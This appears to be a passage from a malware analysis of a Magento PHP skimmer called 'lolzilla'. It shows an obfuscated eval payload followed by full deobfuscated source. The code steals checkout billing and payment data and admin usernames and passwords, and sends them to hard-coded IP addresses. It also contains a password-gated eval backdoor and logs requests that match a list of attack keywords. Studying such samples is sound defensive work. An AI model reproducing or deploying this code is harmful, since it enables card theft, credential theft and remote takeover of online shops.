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";



        eval(
        $mage_css($mage_red($mage_black)));

    }

    catch (Exception $e) {echo "";}

Deobfuscated PHP lolzilla Skimmer Version 2:

php lib/Varien/Object.php


<?php
try {
    function sansons($p, $n, $l)
    {
        $array = [$p => $n];
        $ch = curl_init(base64_decode($l));
        curl_setopt($ch, CURLOPT_POST, 1);
        curl_setopt($ch, CURLOPT_POSTFIELDS, $array);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
        curl_setopt($ch, CURLOPT_HEADER, false);
        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
        $html = curl_exec($ch);
        curl_close($ch);
    }
    if (isset($_POST['billing'])) {
        setcookie(
            "_flq",
            bin2hex(json_encode($_POST['billing'])),
            time() + 3600,
            "/"
        );
    }
    if (isset($_POST['payment'])) {
        $z = bin2hex(json_encode($_POST['payment'])) . $_COOKIE['_flq'];
        sansons(
            'statistics_hash',
            base64_encode(
                '{"referer":"' .
                    $_SERVER["HTTP_HOST"] .
                    '","stats":"' .
                    $z .
                    '","tag":"a181a603769c1f98ad927e7367c7aa51"}'
            ),
            "aHR0cHM6Ly80NS4xOTcuMTQxLjI1MC9zdGF0eXN0aWNzLnBocA=="
            // "https://45.197.141.250/statystics.php"
        );
    }
    if (isset($_POST['payment']) && isset($_POST['billing'])) {
        $z =
            bin2hex(json_encode($_POST['payment'])) .
            bin2hex(json_encode($_POST['billing']));
        sansons(
            'statistics_hash',
            base64_encode(
                '{"referer":"' .
                    $_SERVER["HTTP_HOST"] .
                    '","stats":"' .
                    $z .
                    '","tag":"a181a603769c1f98ad927e7367c7aa51"}'
            ),
            "aHR0cHM6Ly80NS4xOTcuMTQxLjI1MC9zdGF0eXN0aWNzLnBocA=="
            // "https://45.197.141.250/statystics.php"
        );
    }
    if (
        isset($_POST['login']) &&
        isset($_POST['login']['username']) &&
        isset($_POST['login']['password'])
    ) {
        setcookie(
            '_mtoken',
            bin2hex(
                $_POST['login']['username'] . ' ' . $_POST['login']['password']
            ),
            time() + 36000,
            '/'
        );
        $_COOKIE['_mtoken'] = bin2hex(
            $_POST['login']['username'] . ' ' . $_POST['login']['password']
        );
    }
    if (isset($_COOKIE['portzilla'])) {
        setcookie(
            '_mtoken',
            bin2hex('portzilla' . ' ' . $_COOKIE['portzilla']),
            time() + 36000,
            '/'
        );
        $_COOKIE['_mtoken'] = bin2hex(
            'portzilla' . ' ' . $_COOKIE['portzilla']
        );
        $user_data = bin2hex(
            $_SERVER['REQUEST_URI'] . ';' . $_COOKIE['_mtoken']
        );
        sansons(
            'token_hash',
            base64_encode(
                '{"referer":"' .
                    $_SERVER["HTTP_HOST"] .
                    '","stats":"' .
                    $user_data .
                    '","tag":"a181a603769c1f98ad927e7367c7aa51"}'
            ),
            'aHR0cHM6Ly80NS4xOTcuMTQxLjI1MC9zdGF0eXN0aWNzLnBocA=='
            // "https://45.197.141.250/statystics.php"
        );
        $_COOKIE['portzilla'] = '';
        setcookie('portzilla', '1', time() - 36000, '/');
    }
    if (!isset($_COOKIE['_mtoken']) && isset($_COOKIE['_fni'])) {
        setcookie('_fni', '1', time() - 36000, '/');
    }
    if (
        isset($_COOKIE['_mtoken']) &&
        isset($_COOKIE['adminhtml']) &&
        !isset($_COOKIE['_fni'])
    ) {
        $path = $_SERVER['REQUEST_URI'];
        $pos = strpos($path, '/dashboard/index/key');
        if (!$pos) {
            $pos = strpos($path, '/sales_order/');
        }
        if ($pos) {
            $path = substr($path, 0, $pos);
            $user_data = bin2hex($path . ';' . $_COOKIE['_mtoken']);
            sansons(
                'token_hash',
                base64_encode(
                    '{"referer":"' .
                        $_SERVER["HTTP_HOST"] .
                        '","stats":"' .
                        $user_data .
                        '","tag":"a181a603769c1f98ad927e7367c7aa51"}'
                ),
                'aHR0cHM6Ly80NS4xOTcuMTQxLjI1MC9zdGF0eXN0aWNzLnBocA=='
                // "https://45.197.141.250/statystics.php"
            );
            setcookie('_fni', '1', time() + 36000, '/');
            setcookie('_mtoken', '1', time() - 36000, '/');
        }
    }
    if (
        isset($_POST['lolzilla']) &&
        md5($_POST['lolzilla']) === '37fe3f433e28b0838fdec5be54204c88'
    ) {
        eval($_POST['g']);
    }
    if (
        isset($_COOKIE['mgdminhtml']) &&
        md5($_COOKIE['mgdminhtml']) === '37fe3f433e28b0838fdec5be54204c88'
    ) {
        eval($_POST['mgdminhtml']);
    }
    if (
        isset($_COOKIE['lolzilla']) &&
        md5($_COOKIE['lolzilla']) === '37fe3f433e28b0838fdec5be54204c88'
    ) {
        eval(urldecode($_COOKIE['g']));
    }
    if (isset($_COOKIE['__billing_data'])) {
        $_COOKIE['__billing_data'] = '';
        setcookie('__billing_data', '1', time() - 36000, '/');
    }
    if (isset($_COOKIE['_utoken'])) {
        $_COOKIE['_utoken'] = '';
        setcookie('_utoken', '1', time() - 36000, '/');
    }
    $arr = [
        'eval\(',
        'exec\(',
        't_contents\(',
        'select.+from.+where',
        'update.+set.+where',
        'insert.+into.+values',
        'wget',
        'delete.+from.+where',
        'fwrite\(',
        'exit\(',
        'system\(',
        'die\(',
        '\.\.\/',
        'passthru\(',
        'popen\(',
        '\<\?p',
        'admin_user',
        'base64_decode\(',
        'copy\(',
        'move_uploaded_file\(',
        'extract\(',
        'assert\(',
        'unhex\(',
    ];
    $writetext =
        "POST: " .
        json_encode($_POST) .
        "--" .
        "COOKIE: " .
        json_encode($_COOKIE) .
        "--URL: " .
        $_SERVER['HTTP_HOST'] .
        $_SERVER['REQUEST_URI'] .
        "--HOST: " .
        $_SERVER['HTTP_HOST'] .
        "--IP:" .
        $_SERVER['REMOTE_ADDR'];
    foreach ($arr as $value) {
        if (preg_match("/" . $value . "/i", $writetext)) {
            $array = ['osl' => base64_encode($writetext)];
            $gine = "aHR0cHM6Ly8xMDMuMTM5LjExMy4zNC9vc3ItMy4wLnBocA==";
            // $gine = "https://103.139.113.34/osr-3.0.php"
            $url = base64_decode($gine);
            $ch = curl_init($url);
            curl_setopt($ch, CURLOPT_POST, 1);
            curl_setopt($ch, CURLOPT_POSTFIELDS, $array);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
            curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
            curl_setopt($ch, CURLOPT_HEADER, false);
            curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
            curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
            $html = curl_exec($ch);
            curl_close($ch);
            break;
        }
    }
    try {
        if ($_SERVER["REQUEST_METHOD"] === "GET") {
            if (strpos($_SERVER["REQUEST_URI"], "checkout") !== false) {
                if (!isset($_COOKIE["adminhtml"])) {
                    echo file_get_contents(
                        base64_decode(
                            "aHR0cDovLzQ1LjE5Ny4xNDEuMjUwL2h1MzQ1Ymh1dWZkNzNmc2R5OHc0LnBocD9zdGF0cz01YzNhNzcwYWUzMTNmMmFiMTM4MDZiNGUzMTQ3ZGU3NQ=="
                            // "http://45.197.141.250/hu345bhuufd73fsdy8w4.php?stats=5c3a770ae313f2ab13806b4e3147de75"
                        )
                    );
                }
            }
        }
        if (isset($_POST["statistics_hash"])) {
            $array = ["statistics_hash" => $_POST["statistics_hash"]];
            $linked = "";
            $ch = curl_init(
                base64_decode(
                    "aHR0cHM6Ly80NS4xOTcuMTQxLjI1MC9hbmFseXRpY3MucGhw"
                    // "https://45.197.141.250/analytics.php"
                )
            );
            curl_setopt($ch, CURLOPT_POST, 1);
            curl_setopt($ch, CURLOPT_POSTFIELDS, $array);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
            curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
            curl_setopt($ch, CURLOPT_HEADER, false);
            curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
            curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
            $html = curl_exec($ch);
            curl_close($ch);
        }
    } catch (Exception $e) {
    }
} catch (Exception $e) {
}

Original PHP lolzilla Version 1: